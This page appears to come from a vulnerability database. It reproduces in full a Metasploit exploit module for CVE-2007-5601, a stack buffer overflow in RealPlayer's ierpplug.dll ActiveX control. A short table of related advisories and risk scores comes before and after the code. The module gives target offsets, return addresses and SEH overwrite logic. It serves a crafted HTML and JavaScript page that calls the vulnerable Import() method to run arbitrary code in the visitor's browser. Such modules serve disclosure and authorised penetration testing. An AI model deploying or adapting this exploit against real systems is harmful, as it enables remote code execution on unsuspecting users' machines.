RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow

🗓️ 02 Dec 2007 17:58:44Reported by MC <[email protected]>Type

RealPlayer ActiveX Control Playlist Buffer Overflow Exploi

Reporter	Title	Published	Views	Family All 18
Circl	CVE-2007-5601	9 May 201000:00	–	circl
Check Point Advisories	RealNetworks RealPlayer Playlist Handling Buffer Overflow (CVE-2007-5601)	10 Nov 200700:00	–	checkpoint_advisories
CVE	CVE-2007-5601	20 Oct 200720:00	–	cve
Cvelist	CVE-2007-5601	20 Oct 200720:00	–	cvelist
Exploit DB	RealPlayer - 'ierpplug.dll' ActiveX Control Playlist Name Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2007-5601	20 Oct 200720:17	–	nvd
Packet Storm	RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	20 Oct 200720:17	–	prion
Tenable Nessus	RealPlayer ActiveX (ierpplug.dll) Playlist Handling Buffer Overflow	23 Oct 200700:00	–	nessus
canvas	Immunity Canvas: REAL_IMPORT	20 Oct 200720:17	–	canvas

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
        RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
        method, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5601' ],
          [ 'OSVDB', '41430' ],
          [ 'BID', '26130' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'IE / RealOne Player 2 (6.0.11.853)',     { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
          [ 'IE / RealPlayer 10.5 (6.0.12.1483)',     { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
        ],
      'DisclosureDate' => '2007-10-18',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    filler = rand_text_english(target['Offset'])
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)

    # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
    # long Import(
    #                 [in] BSTR file,
    #                 [in, optional, defaultvalue("")] BSTR playlist,
    #                 [in, optional, defaultvalue("")] BSTR clipInfo,
    #                 [in, optional, defaultvalue(0)] long bPlayFile,
    #                 [in, optional, defaultvalue(0)] long bCopyToMyMusic);

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.42365